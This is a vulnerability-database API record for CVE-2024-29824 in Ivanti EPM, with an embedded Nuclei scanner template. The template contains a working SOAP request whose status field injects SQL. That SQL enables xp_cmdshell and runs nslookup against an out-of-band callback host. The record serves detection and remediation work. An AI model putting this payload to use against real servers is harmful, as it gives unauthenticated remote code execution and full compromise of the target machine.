{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-29824/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-29824/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-29824/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-29824/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-29824/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-29824"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-29824"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-29824.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-29824\n\ninfo:\n  name: Ivanti EPM - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.\n  impact: |\n    Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.\n  remediation: |\n    Apply security updates for Ivanti EPM that address CVE-2024-29824.\n  reference:\n    - https://github.com/horizon3ai/CVE-2024-29824\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824\n    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024\n    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.6\n    cve-id: CVE-2024-29824\n    epss-score: 0.99951\n    epss-percentile: 0.99974\n  metadata:\n    max-request: 1\n  tags: cve,cve2024,ivanti,epm,sqli,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\">\n          <soap12:Body>\n            <UpdateStatusEvents xmlns=\"http://tempuri.org/\">\n              <deviceID>string</deviceID>\n              <actions>\n                <Action name=\"string\" code=\"0\" date=\"0\" type=\"96\" user=\"string\" configguid=\"string\" location=\"string\">\n                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>\n                </Action>\n              </actions>\n            </UpdateStatusEvents>\n          </soap12:Body>\n        </soap12:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: content_type\n        words:\n          - 'application/soap+xml'\n\n      - type: word\n        part: body\n        words:\n          - 'UpdateStatusEventsResponse'\n\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022037d62b3d81fc07f6bc254bf539d1226063546fd7971e587d5b8dcffd491b24c5022100aea6c1e14f5ae67a8d11362c906a918ddaef13b9080f02a78e9fcd07369d858c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-29824"
}